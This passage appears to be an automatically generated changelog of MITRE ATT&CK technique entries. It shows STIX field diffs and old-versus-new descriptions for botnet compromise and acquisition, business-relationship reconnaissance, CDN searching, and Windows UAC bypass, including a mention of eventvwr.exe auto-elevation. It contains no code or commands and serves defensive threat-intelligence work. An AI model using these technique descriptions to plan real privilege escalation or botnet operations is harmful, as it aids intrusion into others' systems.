| external_references[5]['description'] | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. |
| external_references[5]['url'] | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf |
| external_references[6]['source_name'] | Linux Kernel Programming | TechNet Autoruns |
| external_references[6]['description'] | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[6]['url'] | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| external_references[7]['source_name'] | TechNet Autoruns | capec |
| external_references[7]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://capec.mitre.org/data/definitions/564.html |
Current version: 2.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 16:47:37.240000+00:00 | 2022-04-01 19:04:02.610000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | File: File Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise num | t | 1 | Adversaries may compromise numerous third-party systems to f |
| > | erous third-party systems to form a botnet that can be used | > | orm a botnet that can be used during targeting. A botnet is | ||
| > | during targeting. A botnet is a network of compromised syste | > | a network of compromised systems that can be instructed to p | ||
| > | ms that can be instructed to perform coordinated tasks.(Cita | > | erform coordinated tasks.(Citation: Norton Botnet) Instead o | ||
| > | tion: Norton Botnet) Instead of purchasing/renting a botnet | > | f purchasing/renting a botnet from a booter/stresser service | ||
| > | from a booter/stresser service(Citation: Imperva DDoS for Hi | > | , adversaries may build their own botnet by compromising num | ||
| > | re), adversaries may build their own botnet by compromising | > | erous third-party systems.(Citation: Imperva DDoS for Hire) | ||
| > | numerous third-party systems. Adversaries may also conduct a | > | Adversaries may also conduct a takeover of an existing botne | ||
| > | takeover of an existing botnet, such as redirecting bots to | > | t, such as redirecting bots to adversary-controlled C2 serve | ||
| > | adversary-controlled C2 servers.(Citation: Dell Dridex Oct | > | rs.(Citation: Dell Dridex Oct 2015) With a botnet at their d | ||
| > | 2015) With a botnet at their disposal, adversaries may perfo | > | isposal, adversaries may perform follow-on activity such as | ||
| > | rm follow-on activity such as large-scale [Phishing](https:/ | > | large-scale [Phishing](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1566) or Distributed Denial of | > | 1566) or Distributed Denial of Service (DDoS). | ||
| > | Service (DDoS). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:03:23.751000+00:00 | 2022-04-19 15:55:58.319000+00:00 |
| description | Before compromising a victim, adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). | Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). |
| external_references[1]['source_name'] | Norton Botnet | Dell Dridex Oct 2015 |
| external_references[1]['description'] | Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020. | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. |
| external_references[1]['url'] | https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| external_references[3]['source_name'] | Dell Dridex Oct 2015 | Norton Botnet |
| external_references[3]['description'] | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. | Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020. |
| external_references[3]['url'] | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation | https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent a network of compromised |
| > | rent a network of compromised systems that can be used duri | > | systems that can be used during targeting. A botnet is a ne | ||
| > | ng targeting. A botnet is a network of compromised systems t | > | twork of compromised systems that can be instructed to perfo | ||
| > | hat can be instructed to perform coordinated tasks.(Citation | > | rm coordinated tasks.(Citation: Norton Botnet) Adversaries m | ||
| > | : Norton Botnet) Adversaries may purchase a subscription to | > | ay purchase a subscription to use an existing botnet from a | ||
| > | use an existing botnet from a booter/stresser service. With | > | booter/stresser service. With a botnet at their disposal, ad | ||
| > | a botnet at their disposal, adversaries may perform follow-o | > | versaries may perform follow-on activity such as large-scale | ||
| > | n activity such as large-scale [Phishing](https://attack.mit | > | [Phishing](https://attack.mitre.org/techniques/T1566) or Di | ||
| > | re.org/techniques/T1566) or Distributed Denial of Service (D | > | stributed Denial of Service (DDoS).(Citation: Imperva DDoS f | ||
| > | DoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna) | > | or Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citat | ||
| > | (Citation: Krebs-Bazaar)(Citation: Krebs-Booter) | > | ion: Krebs-Booter) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 02:15:01.325000+00:00 | 2021-04-15 02:49:14.664000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) | Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's busine |
| > | tion about the victim's business relationships that can be u | > | ss relationships that can be used during targeting. Informat | ||
| > | sed during targeting. Information about an organization’s bu | > | ion about an organization’s business relationships may inclu | ||
| > | siness relationships may include a variety of details, inclu | > | de a variety of details, including second or third-party org | ||
| > | ding second or third-party organizations/domains (ex: manage | > | anizations/domains (ex: managed service providers, contracto | ||
| > | d service providers, contractors, etc.) that have connected | > | rs, etc.) that have connected (and potentially elevated) net | ||
| > | (and potentially elevated) network access. This information | > | work access. This information may also reveal supply chains | ||
| > | may also reveal supply chains and shipment paths for the vic | > | and shipment paths for the victim’s hardware and software re | ||
| > | tim’s hardware and software resources. Adversaries may gath | > | sources. Adversaries may gather this information in various | ||
| > | er this information in various ways, such as direct elicitat | > | ways, such as direct elicitation via [Phishing for Informat | ||
| > | ion via [Phishing for Information](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1598). Information | ||
| > | techniques/T1598). Information about business relationships | > | about business relationships may also be exposed to adversa | ||
| > | may also be exposed to adversaries via online or other acces | > | ries via online or other accessible data sets (ex: [Social M | ||
| > | sible data sets (ex: [Social Media](https://attack.mitre.org | > | edia](https://attack.mitre.org/techniques/T1593/001) or [Sea | ||
| > | /techniques/T1593/001) or [Search Victim-Owned Websites](htt | > | rch Victim-Owned Websites](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1594)).(Citation: ThreatPo | > | es/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering | ||
| > | st Broadvoice Leak) Gathering this information may reveal op | > | this information may reveal opportunities for other forms of | ||
| > | portunities for other forms of reconnaissance (ex: [Phishing | > | reconnaissance (ex: [Phishing for Information](https://atta | ||
| > | for Information](https://attack.mitre.org/techniques/T1598) | > | ck.mitre.org/techniques/T1598) or [Search Open Websites/Doma | ||
| > | or [Search Open Websites/Domains](https://attack.mitre.org/ | > | ins](https://attack.mitre.org/techniques/T1593)), establishi | ||
| > | techniques/T1593)), establishing operational resources (ex: | > | ng operational resources (ex: [Establish Accounts](https://a | ||
| > | [Establish Accounts](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1585) or [Compromise Accounts](h | ||
| > | 85) or [Compromise Accounts](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1586)), and/or initial a | ||
| > | ques/T1586)), and/or initial access (ex: [Supply Chain Compr | > | ccess (ex: [Supply Chain Compromise](https://attack.mitre.or | ||
| > | omise](https://attack.mitre.org/techniques/T1195), [Drive-by | > | g/techniques/T1195), [Drive-by Compromise](https://attack.mi | ||
| > | Compromise](https://attack.mitre.org/techniques/T1189), or | > | tre.org/techniques/T1189), or [Trusted Relationship](https:/ | ||
| > | [Trusted Relationship](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1199)). | ||
| > | 1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:08:59.209000+00:00 | 2021-04-15 03:36:58.964000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass UAC mechanisms to elevate process pri | t | 1 | Adversaries may bypass UAC mechanisms to elevate process pri |
| > | vileges on system. Windows User Account Control (UAC) allows | > | vileges on system. Windows User Account Control (UAC) allows | ||
| > | a program to elevate its privileges (tracked as integrity l | > | a program to elevate its privileges (tracked as integrity l | ||
| > | evels ranging from low to high) to perform a task under admi | > | evels ranging from low to high) to perform a task under admi | ||
| > | nistrator-level permissions, possibly by prompting the user | > | nistrator-level permissions, possibly by prompting the user | ||
| > | for confirmation. The impact to the user ranges from denying | > | for confirmation. The impact to the user ranges from denying | ||
| > | the operation under high enforcement to allowing the user t | > | the operation under high enforcement to allowing the user t | ||
| > | o perform the action if they are in the local administrators | > | o perform the action if they are in the local administrators | ||
| > | group and click through the prompt or allowing them to ente | > | group and click through the prompt or allowing them to ente | ||
| > | r an administrator password to complete the action. (Citatio | > | r an administrator password to complete the action.(Citation | ||
| > | n: TechNet How UAC Works) If the UAC protection level of a | > | : TechNet How UAC Works) If the UAC protection level of a c | ||
| > | computer is set to anything but the highest level, certain W | > | omputer is set to anything but the highest level, certain Wi | ||
| > | indows programs can elevate privileges or execute some eleva | > | ndows programs can elevate privileges or execute some elevat | ||
| > | ted [Component Object Model](https://attack.mitre.org/techni | > | ed [Component Object Model](https://attack.mitre.org/techniq | ||
| > | ques/T1559/001) objects without prompting the user through t | > | ues/T1559/001) objects without prompting the user through th | ||
| > | he UAC notification box. (Citation: TechNet Inside UAC) (Cit | > | e UAC notification box.(Citation: TechNet Inside UAC)(Citati | ||
| > | ation: MSDN COM Elevation) An example of this is use of [Run | > | on: MSDN COM Elevation) An example of this is use of [Rundll | ||
| > | dll32](https://attack.mitre.org/techniques/T1218/011) to loa | > | 32](https://attack.mitre.org/techniques/T1218/011) to load a | ||
| > | d a specifically crafted DLL which loads an auto-elevated [C | > | specifically crafted DLL which loads an auto-elevated [Comp | ||
| > | omponent Object Model](https://attack.mitre.org/techniques/T | > | onent Object Model](https://attack.mitre.org/techniques/T155 | ||
| > | 1559/001) object and performs a file operation in a protecte | > | 9/001) object and performs a file operation in a protected d | ||
| > | d directory which would typically require elevated access. M | > | irectory which would typically require elevated access. Mali | ||
| > | alicious software may also be injected into a trusted proces | > | cious software may also be injected into a trusted process t | ||
| > | s to gain elevated privileges without prompting a user.(Cita | > | o gain elevated privileges without prompting a user.(Citatio | ||
| > | tion: Davidson Windows) Many methods have been discovered t | > | n: Davidson Windows) Many methods have been discovered to b | ||
| > | o bypass UAC. The Github readme page for UACME contains an e | > | ypass UAC. The Github readme page for UACME contains an exte | ||
| > | xtensive list of methods(Citation: Github UACMe) that have b | > | nsive list of methods(Citation: Github UACMe) that have been | ||
| > | een discovered and implemented, but may not be a comprehensi | > | discovered and implemented, but may not be a comprehensive | ||
| > | ve list of bypasses. Additional bypass methods are regularly | > | list of bypasses. Additional bypass methods are regularly di | ||
| > | discovered and some used in the wild, such as: * <code>eve | > | scovered and some used in the wild, such as: * <code>eventv | ||
| > | ntvwr.exe</code> can auto-elevate and execute a specified bi | > | wr.exe</code> can auto-elevate and execute a specified binar | ||
| > | nary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Cit | > | y or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citati | ||
| > | ation: Fortinet Fareit) Another bypass is possible through | > | on: Fortinet Fareit) Another bypass is possible through som | ||
| > | some lateral movement techniques if credentials for an accou | > | e lateral movement techniques if credentials for an account | ||
| > | nt with administrator privileges are known, since UAC is a s | > | with administrator privileges are known, since UAC is a sing | ||
| > | ingle system security mechanism, and the privilege or integr | > | le system security mechanism, and the privilege or integrity | ||
| > | ity of a process running on one system will be unknown on re | > | of a process running on one system will be unknown on remot | ||
| > | mote systems and default to high integrity.(Citation: SANS U | > | e systems and default to high integrity.(Citation: SANS UAC | ||
| > | AC Bypass) | > | Bypass) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-22 21:36:52.458000+00:00 | 2022-04-19 15:11:20.036000+00:00 |
| description | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) |
| external_references[1]['source_name'] | TechNet How UAC Works | Davidson Windows |
| external_references[1]['description'] | Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. | Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works | http://www.pretentiousname.com/misc/win7_uac_whitelist2.html |
| external_references[2]['source_name'] | TechNet Inside UAC | TechNet How UAC Works |
| external_references[2]['description'] | Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016. | Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. |
| external_references[2]['url'] | https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx | https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works |
| external_references[3]['source_name'] | MSDN COM Elevation | SANS UAC Bypass |
| external_references[3]['description'] | Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. | Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016. |
| external_references[3]['url'] | https://msdn.microsoft.com/en-us/library/ms679687.aspx | http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass |
| external_references[4]['source_name'] | Davidson Windows | MSDN COM Elevation |
| external_references[4]['description'] | Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014. | Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. |
| external_references[4]['url'] | http://www.pretentiousname.com/misc/win7_uac_whitelist2.html | https://msdn.microsoft.com/en-us/library/ms679687.aspx |
| external_references[5]['source_name'] | Github UACMe | enigma0x3 Fileless UAC Bypass |
| external_references[5]['description'] | UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. | Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. |
| external_references[5]['url'] | https://github.com/hfiref0x/UACME | https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ |
| external_references[6]['source_name'] | enigma0x3 Fileless UAC Bypass | enigma0x3 sdclt app paths |
| external_references[6]['description'] | Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. | Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. |
| external_references[6]['url'] | https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ | https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ |
| external_references[7]['source_name'] | Fortinet Fareit | enigma0x3 sdclt bypass |
| external_references[7]['description'] | Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. | Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. |
| external_references[7]['url'] | https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware | https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ |
| external_references[8]['source_name'] | SANS UAC Bypass | TechNet Inside UAC |
| external_references[8]['description'] | Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016. | Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016. |
| external_references[8]['url'] | http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass | https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx |
| external_references[9]['source_name'] | enigma0x3 sdclt app paths | Fortinet Fareit |
| external_references[9]['description'] | Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. | Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. |
| external_references[9]['url'] | https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ | https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware |
| external_references[10]['source_name'] | enigma0x3 sdclt bypass | Github UACMe |
| external_references[10]['description'] | Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. | UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. |
| external_references[10]['url'] | https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ | https://github.com/hfiref0x/UACME |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Metadata |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search content | t | 1 | Adversaries may search content delivery network (CDN) data a |
| > | delivery network (CDN) data about victims that can be used | > | bout victims that can be used during targeting. CDNs allow a | ||
| > | during targeting. CDNs allow an organization to host content | > | n organization to host content from a distributed, load bala | ||
| > | from a distributed, load balanced array of servers. CDNs ma | > | nced array of servers. CDNs may also allow organizations to | ||
| > | y also allow organizations to customize content delivery bas | > | customize content delivery based on the requestor’s geograph | ||
| > | ed on the requestor’s geographical region. Adversaries may | > | ical region. Adversaries may search CDN data to gather acti | ||
| > | search CDN data to gather actionable information. Threat act | > | onable information. Threat actors can use online resources a | ||
| > | ors can use online resources and lookup tools to harvest inf | > | nd lookup tools to harvest information about content servers | ||
| > | ormation about content servers within a CDN. Adversaries may | > | within a CDN. Adversaries may also seek and target CDN misc | ||
| > | also seek and target CDN misconfigurations that leak sensit | > | onfigurations that leak sensitive information not intended t | ||
| > | ive information not intended to be hosted and/or do not have | > | o be hosted and/or do not have the same protection mechanism | ||
| > | the same protection mechanisms (ex: login portals) as the c | > | s (ex: login portals) as the content hosted on the organizat | ||
| > | ontent hosted on the organization’s website.(Citation: Digit | > | ion’s website.(Citation: DigitalShadows CDN) Information fro | ||
| > | alShadows CDN) Information from these sources may reveal opp | > | m these sources may reveal opportunities for other forms of | ||
| > | ortunities for other forms of reconnaissance (ex: [Active Sc | > | reconnaissance (ex: [Active Scanning](https://attack.mitre.o | ||
| > | anning](https://attack.mitre.org/techniques/T1595) or [Searc | > | rg/techniques/T1595) or [Search Open Websites/Domains](https | ||
| > | h Open Websites/Domains](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1593)), establishing operati | ||
| > | /T1593)), establishing operational resources (ex: [Acquire I | > | onal resources (ex: [Acquire Infrastructure](https://attack. | ||
| > | nfrastructure](https://attack.mitre.org/techniques/T1583) or | > | mitre.org/techniques/T1583) or [Compromise Infrastructure](h | ||
| > | [Compromise Infrastructure](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1584)), and/or initial a | ||
| > | ques/T1584)), and/or initial access (ex: [Drive-by Compromis | > | ccess (ex: [Drive-by Compromise](https://attack.mitre.org/te | ||
| > | e](https://attack.mitre.org/techniques/T1189)). | > | chniques/T1189)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:17:09.684000+00:00 | 2021-04-15 03:47:55.905000+00:00 |
| description | Before compromising a victim, adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access 